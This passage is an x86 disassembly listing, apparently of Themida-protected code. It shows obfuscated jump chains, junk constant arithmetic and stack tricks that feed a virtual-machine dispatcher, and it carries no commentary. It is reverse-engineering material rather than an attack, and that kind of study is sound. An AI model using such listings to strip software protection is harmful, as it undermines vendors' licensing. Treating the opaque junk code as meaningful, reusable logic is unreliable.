; ---------------------------------------------------------------------------
loc_5580A9: ; CODE XREF: Themida_:005583B6j
sub esp, 4
mov [esp], eax
mov ah, 0Bh
jmp loc_5584B4
; ---------------------------------------------------------------------------
loc_5580B6: ; CODE XREF: Themida_:00555985j
add esp, 4
jmp loc_551E42
; ---------------------------------------------------------------------------
loc_5580BE: ; CODE XREF: Themida_:0055088Cj
add ebx, edx
pop edx
jmp loc_557570
; ---------------------------------------------------------------------------
loc_5580C6: ; CODE XREF: Themida_:00551734j
pop esi
push edi
mov edi, esp
add edi, 4
jmp loc_557759
; ---------------------------------------------------------------------------
loc_5580D5: ; CODE XREF: Themida_:0055555Bj
xor eax, 69A2CFB0h
mov esi, eax
pop eax
jmp loc_553BDE
; ---------------------------------------------------------------------------
loc_5580E2: ; CODE XREF: Themida_:00552A60j
mov eax, 20B64817h
sub eax, 1DC54F29h
jmp loc_54F3C9
; ---------------------------------------------------------------------------
loc_5580F1: ; CODE XREF: Themida_:0055AD15j
pop ebp
xchg eax, [esp]
pop esp
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5580FB: ; CODE XREF: Themida_:0054F6C5j
not ebx
sub ebx, 0E9E4D9h
xor edx, ebx
pop ebx
and ebx, edx
pop edx
neg ebx
shl ebx, 4
add ebx, 4A6D3A8Bh
push eax
mov eax, 1E524287h
shl eax, 4
dec eax
push edx
mov edx, 4E160B40h
or eax, edx
pop edx
jmp loc_554D6B
; ---------------------------------------------------------------------------
loc_55812C: ; CODE XREF: Themida_:00552030j
sub ah, dl
sub ah, 30h
jmp loc_55683E
; ---------------------------------------------------------------------------
loc_558136: ; CODE XREF: Themida_:00555BF1j
pop esp
mov cx, [esp]
push edx
push esp
pop edx
push ebp
mov ebp, 4
push ebp
mov ebp, 0FED1976h
xor ebp, 11117607h
shl ebp, 7
xor ebp, 7CB18476h
jmp loc_552000
; ---------------------------------------------------------------------------
loc_55815E: ; CODE XREF: Themida_:00557DE9j
not eax
shr eax, 8
not eax
and eax, 6DCB057Bh
add eax, 92BFFAD4h
add esi, eax
pop eax
jmp loc_550FF6
; ---------------------------------------------------------------------------
loc_558177: ; CODE XREF: Themida_:00558D41j
push edi
mov edi, 28C21263h
and edi, 7D154B0Eh
or edi, 19DD40C4h
jmp loc_550C1F
; ---------------------------------------------------------------------------
loc_55818E: ; CODE XREF: Themida_:00556A66j
mov al, ch
jmp loc_55419D
; ---------------------------------------------------------------------------
loc_558195: ; CODE XREF: Themida_:0055280Ej
sub esp, 4
jmp loc_554764
; ---------------------------------------------------------------------------
loc_55819D: ; CODE XREF: Themida_:0054EACDj
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_551800
; ---------------------------------------------------------------------------
loc_5581B4: ; CODE XREF: Themida_:00559690j
mov [esp], edx
mov dl, 3Bh
push ecx
push ebx
mov bl, 0DEh
mov ch, bl
pop ebx
or ch, 67h
shr ch, 3
push eax
push ecx
mov ch, 0C8h
jmp loc_558E0F
; ---------------------------------------------------------------------------
loc_5581CF: ; CODE XREF: Themida_:005578F8j
pop ebx
jmp loc_550527
; ---------------------------------------------------------------------------
loc_5581D5: ; CODE XREF: Themida_:0054FBC5j
push esp
mov esi, [esp]
add esp, 4
add esi, 4
push edx
mov edx, 15AD6514h
sub edx, 62315443h
push ebx
mov ebx, 36BC379Fh
push edi
mov edi, 42517260h
jmp loc_55014D
; ---------------------------------------------------------------------------
loc_5581FF: ; CODE XREF: Themida_:00559DF1j
pop eax
mov ebx, eax
push dword ptr [esp]
jmp loc_555C4E
; ---------------------------------------------------------------------------
loc_55820A: ; CODE XREF: Themida_:00552BD9j
sub esp, 4
mov [esp], esi
mov esi, 73850D56h
sub esi, 14D29D56h
add eax, esi
pop esi
push 1FDCh
mov [esp], eax
push dword ptr [esp]
pop ebx
add esp, 4
pop eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558236: ; CODE XREF: Themida_:005591B0j
mov [esp], edi
jmp loc_5589A6
; ---------------------------------------------------------------------------
loc_55823E: ; CODE XREF: Themida_:0055924Dj
neg ebp
inc ebp
push esi
jmp loc_55772A
; ---------------------------------------------------------------------------
loc_558247: ; CODE XREF: Themida_:00550FBEj
xor edi, edx
mov edx, [esp]
add esp, 4
jmp loc_556485
; ---------------------------------------------------------------------------
loc_558257: ; CODE XREF: Themida_:005527B2j
add esp, 4
retn
; ---------------------------------------------------------------------------
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558260: ; CODE XREF: Themida_:0054FCB5j
pop dword ptr [esp]
pop esp
push edi
push ebx
push 75EE154Bh
mov ebx, [esp]
jmp loc_55A604
; ---------------------------------------------------------------------------
loc_558273: ; CODE XREF: Themida_:005593A8j
mov ebp, edx
pop edx
jmp loc_550A93
; ---------------------------------------------------------------------------
loc_55827B: ; CODE XREF: Themida_:0054EC13j
mov ecx, 18C0382Fh
xor ecx, 70A76F84h
and esi, ecx
jmp loc_55A254
; ---------------------------------------------------------------------------
lodsw
xor ax, bx
sub esp, 2
mov [esp], bx
push eax
mov ax, 5945h
jmp loc_554BDC
; ---------------------------------------------------------------------------
loc_5582A3: ; CODE XREF: Themida_:00551D93j
pop ebp
xor ebp, edx
pop edx
xor esi, ebp
pop ebp
and esi, 4F38054Ch
push ebp
jmp loc_553D14
; ---------------------------------------------------------------------------
loc_5582B6: ; CODE XREF: Themida_:00554C0Fj
mov edx, 6CF903F8h
or ebp, edx
pop edx
add ebp, 42A734C4h
jmp loc_554AF6
; ---------------------------------------------------------------------------
loc_5582C9: ; CODE XREF: Themida_:0054FCA7j
sub edx, 2AE3661Ch
pop eax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5582D5: ; CODE XREF: Themida_:0054F169j
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
xor bl, al
movzx eax, al
mov dx, [esp]
push eax
push 608Eh
jmp loc_54FCCA
; ---------------------------------------------------------------------------
loc_5582F2: ; CODE XREF: Themida_:00557240j
mov ebp, 1BBE0BF1h
dec ebp
jmp loc_554A32
; ---------------------------------------------------------------------------
loc_5582FD: ; CODE XREF: Themida_:005576F9j
mov edi, esp
push ebx
mov ebx, 4
jmp loc_54FE67
; ---------------------------------------------------------------------------
dw 8352h
dd 72E904ECh
db 8Bh, 0FFh
db 0FFh
; ---------------------------------------------------------------------------
loc_558313: ; CODE XREF: Themida_:005550EBj
mov eax, 0D0B1DBCh
push ebx
mov ebx, 0D0B1DB8h
sub eax, ebx
pop ebx
mov ecx, eax
pop eax
add ebp, 184754A4h
sub ebp, ecx
push ecx
mov ecx, 534E54D6h
shr ecx, 5
inc ecx
add ecx, 15ACE1FDh
sub ebp, ecx
jmp loc_5560D3
; ---------------------------------------------------------------------------
loc_558343: ; CODE XREF: Themida_:0055489Fj
mov edx, [esp]
add esp, 4
jmp loc_54F873
; ---------------------------------------------------------------------------
loc_558351: ; CODE XREF: Themida_:005565CAj
mov ecx, 21A752F3h
shr ecx, 6
push ebx
jmp loc_5559CE
; ---------------------------------------------------------------------------
loc_55835F: ; CODE XREF: Themida_:00559F69j
add edi, 4
xchg edi, [esp]
pop esp
shr ecx, 7
push 494Dh
mov [esp], ebx
jmp loc_55290D
; ---------------------------------------------------------------------------
loc_558376: ; CODE XREF: Themida_:00553323j
add edx, 4
xchg edx, [esp]
jmp loc_55045F
; ---------------------------------------------------------------------------
loc_558381: ; CODE XREF: Themida_:00558F6Ej
or edx, 0A5523BDh
jmp loc_55A7B9
; ---------------------------------------------------------------------------
loc_55838C: ; CODE XREF: Themida_:00550646j
add esp, 4
push 43D1h
mov [esp], eax
jmp loc_5513AB
; ---------------------------------------------------------------------------
loc_55839F: ; CODE XREF: Themida_:0055A8B7j
push ecx
mov cl, 98h
shl cl, 7
jmp loc_5557DF
; ---------------------------------------------------------------------------
loc_5583AA: ; CODE XREF: Themida_:00558E22j
mov ch, 7
and ch, 6Eh
push eax
push edx
mov dl, 0F4h
shr dl, 6
jmp loc_5580A9
; ---------------------------------------------------------------------------
loc_5583BB: ; CODE XREF: Themida_:00554D66j
add esp, 4
push esi
mov esi, esp
push 3893h
mov [esp], ecx
jmp loc_55337E
; ---------------------------------------------------------------------------
loc_5583D1: ; CODE XREF: Themida_:005588BBj
add edx, 339C6935h
sub esi, edx
pop edx
jmp loc_550D20
; ---------------------------------------------------------------------------
loc_5583DF: ; CODE XREF: Themida_:0054F16Fj
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
sub esp, 4
jmp loc_5597B3
; ---------------------------------------------------------------------------
loc_5583F6: ; CODE XREF: Themida_:0055AE54j
mov ebx, 52C71AD6h
not ebx
and ebx, 0E6D6385h
shr ebx, 6
dec ebx
jmp loc_552DF6
; ---------------------------------------------------------------------------
loc_55840C: ; CODE XREF: Themida_:005576A0j
push ecx
mov ecx, 27196114h
push eax
jmp loc_5554D7
; ---------------------------------------------------------------------------
loc_558418: ; CODE XREF: Themida_:0054EEC0j
pop edx
push esi
mov esi, 34FF4BFEh
sub ecx, esi
pop esi
add ecx, edi
add ecx, 34FF4BFEh
pop edi
push eax
mov eax, 4EF35C1Ah
jmp loc_5510E4
; ---------------------------------------------------------------------------
loc_558436: ; CODE XREF: Themida_:0055AF40j
add edi, 4
push ebx
jmp loc_555D6B
; ---------------------------------------------------------------------------
loc_558442: ; CODE XREF: Themida_:0055256Ej
or ebp, 5E28078Ah
jmp loc_55554C
; ---------------------------------------------------------------------------
loc_55844D: ; CODE XREF: Themida_:00558904j
mov ebp, esp
jmp loc_553D3B
; ---------------------------------------------------------------------------
loc_558454: ; CODE XREF: Themida_:0055005Cj
pop esi
pop edx
inc esi
shl esi, 5
sub esi, 1583BF7Ch
mov edi, esi
pop esi
jmp loc_55962F
; ---------------------------------------------------------------------------
loc_558468: ; CODE XREF: Themida_:00555E02j
not eax
jmp loc_553DC3
; ---------------------------------------------------------------------------
loc_55846F: ; CODE XREF: Themida_:00556905j
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_5527C2
; ---------------------------------------------------------------------------
loc_55847A: ; CODE XREF: Themida_:005599D8j
xchg ebx, [esp]
jmp loc_54FA4E
; ---------------------------------------------------------------------------
loc_558482: ; CODE XREF: Themida_:00557725j
mov eax, 28BA7B3Fh
neg eax
or eax, 68E2327Ah
xor eax, 64CD6BCEh
sub esp, 4
mov [esp], esi
mov esi, 6F1A21FCh
and esi, 35B31D9h
and esi, 2BF27F4Dh
not esi
jmp loc_551F6A
; ---------------------------------------------------------------------------
loc_5584B4: ; CODE XREF: Themida_:005580B1j
inc ah
sub ah, 0A7h
jmp loc_556E27
; ---------------------------------------------------------------------------
loc_5584BE: ; CODE XREF: Themida_:00558919j
xor esi, 53A2D0B5h
add ebx, esi
jmp loc_54EE4C
; ---------------------------------------------------------------------------
loc_5584CB: ; CODE XREF: Themida_:00557C1Fj
push eax
push esp
jmp loc_54FCD7
; ---------------------------------------------------------------------------
loc_5584D2: ; CODE XREF: Themida_:005552AEj
pop edi
jmp loc_54EEB2
; ---------------------------------------------------------------------------
loc_5584D8: ; CODE XREF: Themida_:0055414Aj
push 4C09h
mov [esp], ecx
push ebx
mov ebx, ebp
sub esp, 4
jmp loc_5508C2
; ---------------------------------------------------------------------------
loc_5584EB: ; CODE XREF: Themida_:00550A0Aj
mov ch, dl
mov [eax], ch
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_557092
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_553AA0
; ---------------------------------------------------------------------------
loc_558508: ; CODE XREF: Themida_:00555C49j
pop eax
inc di
not di
xor di, 5A5Ch
add ax, di
pop edi
add ax, 43DEh
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_557041
; ---------------------------------------------------------------------------
loc_558529: ; CODE XREF: Themida_:00559FA3j
add ebx, 4
jmp loc_55A7C1
; ---------------------------------------------------------------------------
loc_558534: ; CODE XREF: Themida_:0055579Cj
or esi, 8831DF9h
or esi, 304355E9h
jmp loc_54FAEE
; ---------------------------------------------------------------------------
loc_558545: ; CODE XREF: Themida_:005552D1j
add ecx, 230BE26Ah
or eax, ecx
push dword ptr [esp]
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
jmp loc_55959E
; ---------------------------------------------------------------------------
loc_558561: ; CODE XREF: Themida_:005513F1j
sub ebx, eax
push edx
push eax
mov eax, 169104B8h
mov edx, eax
mov eax, [esp]
add esp, 4
push esi
mov esi, 30CA5450h
jmp loc_555D13
; ---------------------------------------------------------------------------
loc_558580: ; CODE XREF: Themida_:0054EA74j
add al, 0ADh
push ecx
push eax
mov al, 1Fh
mov cl, 27h
xchg al, cl
not al
xchg al, cl
not cl
inc cl
xor cl, 0B0h
jmp loc_558C03
; ---------------------------------------------------------------------------
loc_55859A: ; CODE XREF: Themida_:0054ED23j
not dh
xor dh, 1Eh
push eax
mov ah, 0FAh
not ah
add ah, 5Ah
add dh, ah
pop eax
sub bh, dh
jmp loc_5505A4
; ---------------------------------------------------------------------------
loc_5585B1: ; CODE XREF: Themida_:0055768Aj
pop esi
pop dword ptr [esp]
push esi
push edi
jmp loc_5515A9
; ---------------------------------------------------------------------------
mov ax, [esp]
push 3D6Fh
mov [esp], ebx
push 4494h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push 6163h
mov [esp], ecx
mov ecx, 675F6DBBh
or ecx, 3E4C5816h
jmp loc_54EE6E
; ---------------------------------------------------------------------------
loc_5585F8: ; CODE XREF: Themida_:005533B5j
xchg ebp, [esp]
jmp loc_5566AB
; ---------------------------------------------------------------------------
loc_558600: ; CODE XREF: Themida_:00556005j
push edi
mov edi, 0EAB04F78h
add ebp, edi
pop edi
mov edx, ebp
pop ebp
push ecx
mov ecx, 466054C3h
jmp loc_556E9A
; ---------------------------------------------------------------------------
loc_558617: ; CODE XREF: Themida_:00557166j
xor ecx, [esp]
pop esp
jmp loc_553469
; ---------------------------------------------------------------------------
loc_558620: ; CODE XREF: Themida_:00554FFDj
sub cl, dl
pop edx
and cl, 1Bh
push small 0
jmp loc_55A3B4
; ---------------------------------------------------------------------------
loc_55862F: ; CODE XREF: Themida_:0055B16Fj
mov ecx, 4
jmp loc_55391C
; ---------------------------------------------------------------------------
loc_558639: ; CODE XREF: Themida_:00556E22j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
inc ebx
add ebx, 0FFFFFFFFh
add ebx, 776C15DCh
xor ebx, 5A93A773h
sub ebp, 643B026Fh
add ebp, ebx
add ebp, 643B026Fh
pop ebx
add ebp, 4
xchg ebp, [esp]
jmp loc_558D51
; ---------------------------------------------------------------------------
loc_558679: ; CODE XREF: Themida_:00553CBEj
xchg esi, [esp]
not esi
xchg esi, [esp]
pop eax
add eax, 67247094h
shl eax, 4
xor eax, 3DCBC1D6h
jmp loc_556C61
; ---------------------------------------------------------------------------
loc_558694: ; CODE XREF: Themida_:0055A7D2j
pop esi
add ecx, 4
jmp loc_555B47
; ---------------------------------------------------------------------------
loc_55869D: ; CODE XREF: Themida_:0055A7B4j
xor ch, 7Eh
jmp loc_552544
; ---------------------------------------------------------------------------
loc_5586A5: ; CODE XREF: Themida_:00551B8Bj
push 10543EB2h
pop edi
and edi, 4233EC6h
xor edi, 78626EAEh
mov edx, edi
pop edi
mov ebx, edx
pop edx
inc ebx
dec ebx
add ebx, 7B851D96h
neg ebx
xor ebx, 393ABB5Eh
xor edx, ebx
pop ebx
mov ebp, edx
pop edx
jmp loc_552F61
; ---------------------------------------------------------------------------
loc_5586D8: ; CODE XREF: Themida_:00559334j
push ecx
mov ecx, 74753B6Ch
jmp loc_54FD5A
; ---------------------------------------------------------------------------
loc_5586E3: ; CODE XREF: Themida_:00554BD7j
push eax
mov eax, 0C184899h
push ebx
mov ebx, 10C110Bh
or eax, ebx
pop ebx
dec eax
shl eax, 1
sub eax, 1A38B330h
mov ebx, eax
pop eax
add esi, 1D92190Dh
jmp loc_54FECE
; ---------------------------------------------------------------------------
loc_558708: ; CODE XREF: Themida_:00552414j
mov cx, [esp]
jmp loc_55AAF5
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558719: ; CODE XREF: Themida_:00558984j
xor eax, 0A964E263h
mov ecx, eax
pop eax
jmp loc_54F786
; ---------------------------------------------------------------------------
loc_558726: ; CODE XREF: Themida_:0054FF7Ej
mov cx, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
jmp loc_5579A1
; ---------------------------------------------------------------------------
loc_55873A: ; CODE XREF: Themida_:00554A20j
add esi, 5504705Eh
pop eax
sub esi, 4865AA79h
push esi
pop ebx
pop esi
add ebx, edi
mov ecx, [ebx]
pop ebx
push 3320h
mov [esp], esi
mov esi, 80h
and ecx, esi
push dword ptr [esp]
pop esi
push edx
mov edx, esp
push ecx
mov ecx, 4ACF4957h
xor ecx, 47466B6Eh
sub esp, 4
mov [esp], edx
push edi
push 4E491D98h
pop edi
xor edi, 1B2773E1h
mov edx, edi
jmp loc_55A447
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
mov eax, [esp]
jmp loc_55A3A5
; ---------------------------------------------------------------------------
loc_558799: ; CODE XREF: Themida_:0055A35Ej
and edx, ebx
pop ebx
xor edx, 51E136D2h
sub eax, 214C65B0h
add eax, 36E42648h
add eax, edx
sub eax, 36E42648h
push edi
mov edi, 354E47CEh
jmp loc_55233C
; ---------------------------------------------------------------------------
loc_5587BE: ; CODE XREF: Themida_:00554F75j
pop esi
push 1B54h
mov [esp], ecx
jmp loc_5502C5
; ---------------------------------------------------------------------------
loc_5587CC: ; CODE XREF: Themida_:005532D1j
xor [esp+4], eax
pop eax
push dword ptr [esp]
pop eax
add esp, 4
push esi
push ebx
mov ebx, 79D70800h
add ebx, 53E53944h
not ebx
jmp loc_54ED28
; ---------------------------------------------------------------------------
loc_5587EF: ; CODE XREF: Themida_:00557FEAj
mov esp, [esp]
mov [esp], edx
jmp loc_5535E8
; ---------------------------------------------------------------------------
loc_5587FA: ; CODE XREF: Themida_:0054ECC0j
add ebx, 1
push edi
push 646Ah
mov [esp], edx
mov edx, 3FD673DAh
mov edi, edx
pop edx
or edi, 6986E91h
add edi, 1
jmp loc_5549B6
; ---------------------------------------------------------------------------
loc_55881F: ; CODE XREF: Themida_:0054F758j
push dword ptr [esp]
pop ebx
push 6290h
mov [esp], edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor al, cl
push dword ptr [esp]
pop ecx
add esp, 4
sub bl, 63h
jmp loc_55B039
; ---------------------------------------------------------------------------
loc_55884B: ; CODE XREF: Themida_:0055A6F7j
push ebx
jmp loc_55305A
; ---------------------------------------------------------------------------
locret_558851: ; CODE XREF: Themida_:00551B58j
retn
; ---------------------------------------------------------------------------
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558857: ; CODE XREF: Themida_:00553F39j
push 0B893106h
mov ebx, [esp]
add esp, 4
xor ebx, 723043F1h
push edx
mov edx, 5E9D7319h
xor edx, 4DF4B5Ah
xor ebx, edx
pop edx
mov ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, eax
xor eax, ebp
xor ebp, eax
not eax
xchg eax, ebp
jmp loc_552519
; ---------------------------------------------------------------------------
loc_55888D: ; CODE XREF: Themida_:005521E7j
xor ebp, 2FF35FF8h
push edx
mov edx, 77E633E9h
xor edx, 39BC7BDEh
push ebx
mov ebx, 7A8B587Dh
shr ebx, 3
or ebx, 2BEF41FAh
not ebx
neg ebx
add ebx, 2868DA3Eh
sub edx, ebx
pop ebx
jmp loc_5583D1
; ---------------------------------------------------------------------------
loc_5588C0: ; CODE XREF: Themida_:0055152Cj
push ebp
mov ebp, 423C1800h
jmp loc_557F43
; ---------------------------------------------------------------------------
loc_5588CB: ; CODE XREF: Themida_:00550930j
mov [esp], esi
push 4CB07383h
pop esi
shl esi, 6
or esi, 6254739Fh
sub esi, 6E5CF3DDh
mov edi, esi
pop esi
sub ebp, 50CA757Fh
jmp loc_558A36
; ---------------------------------------------------------------------------
loc_5588F1: ; CODE XREF: Themida_:005517CDj
xor ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, eax
push esi
mov esi, ecx
mov ebx, esi
pop esi
mov ecx, [esp]
push ebp
jmp loc_55844D
; ---------------------------------------------------------------------------
loc_558909: ; CODE XREF: Themida_:00556C5Cj
neg dword ptr [esp]
pop ebx
push esi
mov esi, 63D4312Fh
or esi, 2903732Bh
jmp loc_5584BE
; ---------------------------------------------------------------------------
loc_55891E: ; CODE XREF: Themida_:005559B4j
or edi, ebp
pop ebp
neg edi
xor edi, 8109E125h
add ecx, edi
jmp loc_5549E0
; ---------------------------------------------------------------------------
loc_558930: ; CODE XREF: Themida_:00557BF2j
mov [esp], edx
mov edx, 70D81F4Ch
dec edx
and edx, 2625094Fh
sub edx, 3AFBAE1h
xor ebx, edx
pop edx
add eax, ebx
pop ebx
sub eax, 5F90EF3h
jmp loc_55A881
; ---------------------------------------------------------------------------
loc_558955: ; CODE XREF: Themida_:0055766Ej
mov edi, esp
push ecx
mov ecx, 4
add edi, 399D2DBEh
add edi, ecx
sub edi, 399D2DBEh
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
xor ebx, eax
push small word ptr [eax]
jmp loc_55A66C
; ---------------------------------------------------------------------------
loc_55897F: ; CODE XREF: Themida_:00556E95j
not esi
xchg eax, esi
neg eax
jmp loc_558719
; ---------------------------------------------------------------------------
loc_558989: ; CODE XREF: Themida_:005547C7j
push dword ptr [esp]
jmp loc_557753
; ---------------------------------------------------------------------------
loc_558991: ; CODE XREF: Themida_:00553E29j
pop edx
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, ebx
sub eax, 648E27B0h
jmp loc_55A2B0
; ---------------------------------------------------------------------------
loc_5589A6: ; CODE XREF: Themida_:00558239j
push esi
mov esi, 4
push esi
jmp loc_555974
; ---------------------------------------------------------------------------
loc_5589B2: ; CODE XREF: Themida_:005514DBj
mov ebp, edi
pop edi
push esi
jmp loc_554250
; ---------------------------------------------------------------------------
loc_5589BB: ; CODE XREF: Themida_:0054ED1Cj
xor dword ptr [esp], 58691230h
pop ecx
xor ecx, 58691230h
mov eax, [esp]
push ebp
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_55AEE1
; ---------------------------------------------------------------------------
loc_5589E8: ; CODE XREF: Themida_:0055AC18j
add eax, edx
pop edx
sub eax, edi
sub eax, 2B401ABh
jmp loc_551BDA
; ---------------------------------------------------------------------------
loc_5589F7: ; CODE XREF: Themida_:00554CA7j
xor ebp, esi
jmp loc_54FA1B
; ---------------------------------------------------------------------------
loc_5589FE: ; CODE XREF: Themida_:00556480j
pop ebp
add eax, ebp
jmp loc_556423
; ---------------------------------------------------------------------------
loc_558A06: ; CODE XREF: Themida_:00556BCBj
pop ecx
mov edi, [esp]
push ecx
mov ecx, esp
sub esp, 4
jmp loc_55157B
; ---------------------------------------------------------------------------
loc_558A15: ; CODE XREF: Themida_:0055724Ej
push 3443237Fh
pop eax
mov edx, eax
jmp loc_559790
; ---------------------------------------------------------------------------
loc_558A22: ; CODE XREF: Themida_:005536D4j
xchg edx, [esp]
pop esp
or ebx, ebx
jnz loc_557183
push ebx
mov ebx, esp
jmp loc_553F5E
; ---------------------------------------------------------------------------
loc_558A36: ; CODE XREF: Themida_:005588ECj
add ebp, edi
add ebp, 50CA757Fh
mov edi, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
xor [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558A52: ; CODE XREF: Themida_:00551055j
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 2
xchg ebp, [esp]
pop esp
sub al, 0FDh
add al, bl
add al, 0FDh
push dx
mov dh, 0B2h
add al, dh
jmp loc_5592A7
; ---------------------------------------------------------------------------
loc_558A78: ; CODE XREF: Themida_:00550F52j
shl ecx, 3
jmp loc_5539EE
; ---------------------------------------------------------------------------
loc_558A80: ; CODE XREF: Themida_:00559B8Cj
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_5595F9
; ---------------------------------------------------------------------------
loc_558A95: ; CODE XREF: Themida_:0055ACB8j
mov esi, 43FF2952h
or ecx, esi
pop esi
jmp loc_551EE6
; ---------------------------------------------------------------------------
loc_558AA2: ; CODE XREF: Themida_:0054F1E2j
add esp, 4
push 2099h
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
jmp loc_556B82
; ---------------------------------------------------------------------------
loc_558AC2: ; CODE XREF: Themida_:0054F54Aj
add eax, 7A554236h
push ebx
mov ebx, 51BD7079h
sub eax, 3A582C51h
sub eax, ebx
jmp loc_5575D8
; ---------------------------------------------------------------------------
loc_558AD9: ; CODE XREF: Themida_:00550DA2j
push ebx
mov bh, 3Fh
not bh
and bh, 0F3h
shr bh, 2
push ecx
mov ch, 0E1h
sub bh, ch
pop ecx
mov cl, bh
pop ebx
dec cl
jmp loc_55A06D
; ---------------------------------------------------------------------------
loc_558AF4: ; CODE XREF: Themida_:005558A9j
xor edi, 0F6DA0404h
add ebp, edi
pop edi
add ebp, 4
xchg ebp, [esp]
jmp loc_5558E1
; ---------------------------------------------------------------------------
loc_558B0B: ; CODE XREF: Themida_:00554C8Ej
add esi, ebp
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
test ecx, eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558B2A: ; CODE XREF: Themida_:00554E99j
push edi
push 5CA33BF8h
pop edi
sub edi, 7B330617h
add edi, 1
push edx
jmp loc_54ECC5
; ---------------------------------------------------------------------------
loc_558B43: ; CODE XREF: Themida_:00551A71j
mov edx, [esp]
jmp loc_550E4D
; ---------------------------------------------------------------------------
loc_558B4B: ; CODE XREF: Themida_:0055A41Dj
push dword ptr [esp]
pop ebp
push ebp
mov ebp, esp
push edi
mov edi, 15A66760h
or edi, 301A3Fh
shl edi, 4
jmp loc_558D9A
; ---------------------------------------------------------------------------
loc_558B66: ; CODE XREF: Themida_:00554E45j
pop edx
add eax, 4
push esi
mov esi, esp
push eax
mov eax, 7BC662E7h
dec eax
shr eax, 1
dec eax
dec eax
jmp loc_551FA7
; ---------------------------------------------------------------------------
loc_558B7D: ; CODE XREF: Themida_:00559526j
shl esi, 4
push edx
push edi
push 27E37653h
pop edi
xor edi, 125E19A2h
sub edi, 0D8A335Eh
mov edx, edi
pop edi
jmp loc_553477
; ---------------------------------------------------------------------------
loc_558B9C: ; CODE XREF: Themida_:0055AE1Fj
inc edi
push ecx
mov ecx, 9C63705h
add edi, 3ECF6633h
sub edi, ecx
sub edi, 3ECF6633h
pop ecx
push ebp
push edx
mov edx, 74830AADh
mov ebp, edx
pop edx
shl ebp, 2
and ebp, 39814F90h
jmp loc_554F7A
; ---------------------------------------------------------------------------
loc_558BCA: ; CODE XREF: Themida_:00559219j
add edi, 4
push ebx
mov ebx, 2ACB04E6h
inc ebx
xchg esi, ebx
not esi
xchg esi, ebx
jmp loc_55A3F0
; ---------------------------------------------------------------------------
loc_558BE2: ; CODE XREF: Themida_:0054F590j
add ebx, 4
xchg ebx, [esp]
pop esp
push eax
mov eax, 4
add ebp, eax
pop eax
push ecx
push ebp
mov ebp, 4
mov ecx, ebp
mov ebp, [esp]
jmp loc_5551D3
; ---------------------------------------------------------------------------
loc_558C03: ; CODE XREF: Themida_:00558595j
xor cl, al
jmp loc_54EBE3
; ---------------------------------------------------------------------------
loc_558C0A: ; CODE XREF: Themida_:0054F139j
and ebx, 1C6A1D88h
sub ebx, 0C203F18Eh
sub edx, ebx
pop ebx
add edx, esi
add edx, 3E2622F2h
push dword ptr [esp]
pop esi
add esp, 4
xchg edx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558C3C: ; CODE XREF: Themida_:00551615j
push ecx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_558C43: ; CODE XREF: Themida_:00559E3Fj
pop esi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
rep movsd
add esp, [edx+38h]
push 40DCh
mov [esp], edi
mov edi, 3D340288h
or edi, 5D942800h
shr edi, 6
sub esp, 4
mov [esp], ebx
mov ebx, 535E0C3Ch
add edi, ebx
pop ebx
xor edi, 0BE2BBA3h
mov dword ptr [edx+38h], 5EB66745h
push ecx
mov ecx, 38h
jmp loc_54EEC5
; ---------------------------------------------------------------------------
loc_558C94: ; CODE XREF: Themida_:0055A5FFj
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
push 3AC6h
mov [esp], edx
mov edx, 5116D9A7h
add eax, 14F92C79h
sub eax, edx
jmp loc_55AA98
; ---------------------------------------------------------------------------
loc_558CBF: ; CODE XREF: Themida_:005507D4j
xor eax, ecx
pop ecx
push eax
jmp loc_54ED42
; ---------------------------------------------------------------------------
loc_558CC8: ; CODE XREF: Themida_:00559228j
add eax, 2A9D3F84h
add eax, ebx
push ebx
mov ebx, 2A9D3F84h
sub eax, ebx
pop ebx
jmp loc_55AD81
; ---------------------------------------------------------------------------
loc_558CDD: ; CODE XREF: Themida_:00556B7Dj
mov ebx, [esp]
add esp, 4
add ebx, 4
push edx
mov edx, 3A27267Dh
dec edx
sub edx, 2CE00667h
dec edx
sub esp, 4
mov [esp], eax
push ebx
jmp loc_54FC92
